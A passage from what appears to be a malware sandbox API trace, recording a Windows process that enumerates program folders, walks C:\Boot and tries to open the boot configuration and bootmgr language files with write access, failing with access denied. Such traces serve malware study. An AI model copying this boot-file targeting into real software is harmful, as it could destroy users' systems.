(hObject=0xb8) returned 1 [0128.007] GetFileType (hFile=0x128) returned 0x1 [0128.007] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Mail") returned 0x27 [0128.007] CloseHandle (hObject=0x128) returned 1 [0128.007] GetFileType (hFile=0xb8) returned 0x1 [0128.007] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0128.008] CloseHandle (hObject=0xb8) returned 1 [0128.008] GetFileType (hFile=0x128) returned 0x1 [0128.008] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows NT") returned 0x25 [0128.009] CloseHandle (hObject=0x128) returned 1 [0128.009] GetFileType (hFile=0xb8) returned 0x1 [0128.009] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0128.009] CloseHandle (hObject=0xb8) returned 1 [0128.009] GetFileType (hFile=0x128) returned 0x1 [0128.009] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Uninstall Information") returned 0x2a [0128.010] CloseHandle (hObject=0x128) returned 1 [0128.010] GetFileType (hFile=0xb8) returned 0x1 [0128.010] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0128.010] CloseHandle (hObject=0xb8) returned 1 [0128.010] GetFileType (hFile=0x128) returned 0x1 [0128.010] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Mail") returned 0x27 [0128.011] CloseHandle (hObject=0x128) returned 1 [0128.011] GetFileType (hFile=0xb8) returned 0x1 [0128.011] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0128.011] CloseHandle (hObject=0xb8) returned 1 [0128.011] GetFileType (hFile=0x128) returned 0x1 [0128.012] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Photo Viewer") returned 0x2f [0128.012] CloseHandle (hObject=0x128) returned 1 [0128.012] GetFileType (hFile=0xb8) returned 0x1 [0128.012] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0128.013] CloseHandle (hObject=0xb8) returned 1 [0128.013] GetFileType (hFile=0x128) returned 0x1 [0128.013] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft Office") returned 0x25 [0128.013] CloseHandle (hObject=0x128) returned 1 [0128.013] GetFileType (hFile=0xb8) returned 0x1 [0128.014] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0128.014] CloseHandle (hObject=0xb8) returned 1 [0128.014] GetFileType (hFile=0x128) returned 0x1 [0128.014] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Reference Assemblies") returned 0x2f [0128.015] CloseHandle (hObject=0x128) returned 1 [0128.015] GetFileType (hFile=0xb8) returned 0x1 [0128.015] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0128.015] CloseHandle (hObject=0xb8) returned 1 [0128.016] GetFileType (hFile=0x128) returned 0x1 [0128.016] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Mail") returned 0x27 [0128.016] CloseHandle (hObject=0x128) returned 1 [0128.016] GetFileType (hFile=0xb8) returned 0x1 [0128.016] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0128.017] CloseHandle (hObject=0xb8) returned 1 [0128.017] GetFileType (hFile=0x128) returned 0x1 [0128.017] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Windows Photo Viewer") returned 0x29 [0128.018] CloseHandle (hObject=0x128) returned 1 [0128.018] GetFileType (hFile=0xb8) returned 0x1 [0128.018] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0128.018] CloseHandle (hObject=0xb8) returned 1 [0128.018] GetFileType (hFile=0x128) returned 0x1 [0128.018] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft Analysis Services") returned 0x30 [0128.019] CloseHandle (hObject=0x128) returned 1 [0128.019] GetFileType (hFile=0xb8) returned 0x1 [0128.019] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0128.020] CloseHandle (hObject=0xb8) returned 1 [0128.020] GetFileType (hFile=0x128) returned 0x1 [0128.020] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft Sync Framework") returned 0x2d [0128.020] CloseHandle (hObject=0x128) returned 1 [0128.020] GetFileType (hFile=0xb8) returned 0x1 [0128.020] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0128.021] CloseHandle (hObject=0xb8) returned 1 [0128.021] GetFileType (hFile=0x128) returned 0x1 [0128.021] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Internet Explorer") returned 0x2c [0128.022] CloseHandle (hObject=0x128) returned 1 [0128.022] GetFileType (hFile=0xb8) returned 0x1 [0128.022] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0128.022] CloseHandle (hObject=0xb8) returned 1 [0128.022] GetFileType (hFile=0x128) returned 0x1 [0128.023] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Windows NT") returned 0x1f [0128.023] CloseHandle (hObject=0x128) returned 1 [0128.023] GetFileType (hFile=0xb8) returned 0x1 [0128.023] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0128.024] CloseHandle (hObject=0xb8) returned 1 [0128.024] GetFileType (hFile=0x128) returned 0x1 [0128.024] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows NT") returned 0x25 [0128.024] CloseHandle (hObject=0x128) returned 1 [0128.025] GetFileType (hFile=0xb8) returned 0x1 [0128.025] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0128.025] CloseHandle (hObject=0xb8) returned 1 [0128.026] GetFileType (hFile=0x128) returned 0x1 [0128.026] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Java") returned 0x1f [0128.026] CloseHandle (hObject=0x128) returned 1 [0128.026] GetFileType (hFile=0xb8) returned 0x1 [0128.026] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0128.027] CloseHandle (hObject=0xb8) returned 1 [0128.027] GetFileType (hFile=0x128) returned 0x1 [0128.027] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\MSBuild") returned 0x22 [0128.028] CloseHandle (hObject=0x128) returned 1 [0128.028] GetFileType (hFile=0xb8) returned 0x1 [0128.028] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0128.029] CloseHandle (hObject=0xb8) returned 1 [0128.029] GetFileType (hFile=0x128) returned 0x1 [0128.029] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Java") returned 0x1f [0128.029] CloseHandle (hObject=0x128) returned 1 [0128.029] GetFileType (hFile=0xb8) returned 0x1 [0128.029] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0128.030] CloseHandle (hObject=0xb8) returned 1 [0128.030] GetFileType (hFile=0x128) returned 0x1 [0128.030] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\DVD Maker") returned 0x1e [0128.031] CloseHandle (hObject=0x128) returned 1 [0128.031] GetFileType (hFile=0xb8) returned 0x1 [0128.031] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0128.031] CloseHandle (hObject=0xb8) returned 1 [0128.032] GetFileType (hFile=0x128) returned 0x1 [0128.032] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft Analysis Services") returned 0x30 [0128.032] CloseHandle (hObject=0x128) returned 1 [0128.032] GetFileType (hFile=0xb8) returned 0x1 [0128.032] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0128.033] CloseHandle (hObject=0xb8) returned 1 [0128.033] GetFileType (hFile=0x128) returned 0x1 [0128.033] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\MSBuild") returned 0x22 [0128.034] CloseHandle (hObject=0x128) returned 1 [0128.034] GetFileType (hFile=0xb8) returned 0x1 [0128.034] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0128.034] CloseHandle (hObject=0xb8) returned 1 [0128.034] GetFileType (hFile=0x128) returned 0x1 [0128.034] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Mail") returned 0x27 [0128.035] CloseHandle (hObject=0x128) returned 1 [0128.035] GetFileType (hFile=0xb8) returned 0x1 [0128.035] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0128.036] CloseHandle (hObject=0xb8) returned 1 [0128.036] GetFileType (hFile=0x128) returned 0x1 [0128.036] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Internet Explorer") returned 0x2c [0128.036] CloseHandle (hObject=0x128) returned 1 [0128.036] GetFileType (hFile=0xb8) returned 0x1 [0128.036] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0128.037] CloseHandle (hObject=0xb8) returned 1 [0128.037] GetFileType (hFile=0x128) returned 0x1 [0128.037] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Portable Devices") returned 0x33 [0128.037] CloseHandle (hObject=0x128) returned 1 [0128.038] GetFileType (hFile=0xb8) returned 0x1 [0128.038] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0128.038] CloseHandle (hObject=0xb8) returned 1 [0128.038] GetFileType (hFile=0x128) returned 0x1 [0128.038] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Uninstall Information") returned 0x30 [0128.039] CloseHandle (hObject=0x128) returned 1 [0128.039] GetFileType (hFile=0xb8) returned 0x1 [0128.039] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0128.040] CloseHandle (hObject=0xb8) returned 1 [0128.040] GetFileType (hFile=0x128) returned 0x1 [0128.040] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Reference Assemblies") returned 0x2f [0128.040] CloseHandle (hObject=0x128) returned 1 [0128.040] GetFileType (hFile=0xb8) returned 0x1 [0128.040] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\Fonts\\StaticCache.dat") returned 0x24 [0128.041] CloseHandle (hObject=0xb8) returned 1 [0128.041] GetFileType (hFile=0x128) returned 0x1 [0128.041] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0128.042] CloseHandle (hObject=0x128) returned 1 [0128.042] GetFileType (hFile=0xb8) returned 0x1 [0128.042] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Microsoft Visual Studio 8") returned 0x34 [0128.042] CloseHandle (hObject=0xb8) returned 1 [0128.043] GetFileType (hFile=0x128) returned 0x1 [0128.043] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\Fonts\\StaticCache.dat") returned 0x24 [0128.043] CloseHandle (hObject=0x128) returned 1 [0128.043] GetFileType (hFile=0xb8) returned 0x1 [0128.043] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0128.044] CloseHandle (hObject=0xb8) returned 1 [0128.044] GetFileType (hFile=0x128) returned 0x1 [0128.044] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\MSBuild") returned 0x1c [0128.045] CloseHandle (hObject=0x128) returned 1 [0128.045] GetFileType (hFile=0xb8) returned 0x1 [0128.045] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\Fonts\\StaticCache.dat") returned 0x24 [0128.046] CloseHandle (hObject=0xb8) returned 1 [0128.046] GetFileType (hFile=0x128) returned 0x1 [0128.046] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32") returned 0x17 [0128.047] CloseHandle (hObject=0x128) returned 1 [0128.047] GetProcessHeap () returned 0x2a0000 [0128.047] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2910020 | out: hHeap=0x2a0000) returned 1 [0128.048] Sleep (dwMilliseconds=0xa) [0128.063] CreateFileW (lpFileName="C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0128.063] FindNextFileW (in: hFindFile=0x2c6320, lpFindFileData=0x290fa98 | out: lpFindFileData=0x290fa98*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac2e8a60, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x9098e7a0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x5400, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0128.064] FindNextFileW (in: hFindFile=0x2c6320, lpFindFileData=0x290fa98 | out: lpFindFileData=0x290fa98*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1 [0128.064] FindNextFileW (in: hFindFile=0x2c6320, lpFindFileData=0x290fa98 | out: lpFindFileData=0x290fa98*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1 [0128.064] FindNextFileW (in: hFindFile=0x2c6320, lpFindFileData=0x290fa98 | out: lpFindFileData=0x290fa98*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BOOTSTAT.DAT", cAlternateFileName="")) returned 1 [0128.064] FindNextFileW (in: hFindFile=0x2c6320, lpFindFileData=0x290fa98 | out: lpFindFileData=0x290fa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0128.064] GetProcessHeap () returned 0x2a0000 [0128.064] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x2c) returned 0x2c4b30 [0128.064] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*.*", lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2c62e0 [0128.077] GetProcessHeap () returned 0x2a0000 [0128.077] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0128.077] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0128.077] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0128.077] GetProcessHeap () returned 0x2a0000 [0128.077] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x22e) returned 0x2c7868 [0128.077] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0128.077] GetLastError () returned 0x5 [0128.077] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0128.077] FindClose (in: hFindFile=0x2c62e0 | out: hFindFile=0x2c62e0) returned 1 [0128.077] GetProcessHeap () returned 0x2a0000 [0128.078] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7868 | out: hHeap=0x2a0000) returned 1 [0128.078] FindNextFileW (in: hFindFile=0x2c6320, lpFindFileData=0x290fa98 | out: lpFindFileData=0x290fa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="da-DK", cAlternateFileName="")) returned 1 [0128.078] GetProcessHeap () returned 0x2a0000 [0128.078] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x2c) returned 0x2c4b30 [0128.078] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*.*", lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2c62e0 [0128.078] GetProcessHeap () returned 0x2a0000 [0128.078] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0128.078] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0128.078] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0128.078] GetProcessHeap () returned 0x2a0000 [0128.078] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x22e) returned 0x2c7868 [0128.078] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0128.093] GetLastError () returned 0x5 [0128.093] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0128.093] FindClose (in: hFindFile=0x2c62e0 | out: hFindFile=0x2c62e0) returned 1 [0128.093] GetProcessHeap () returned 0x2a0000 [0128.093] HeapFree (in: 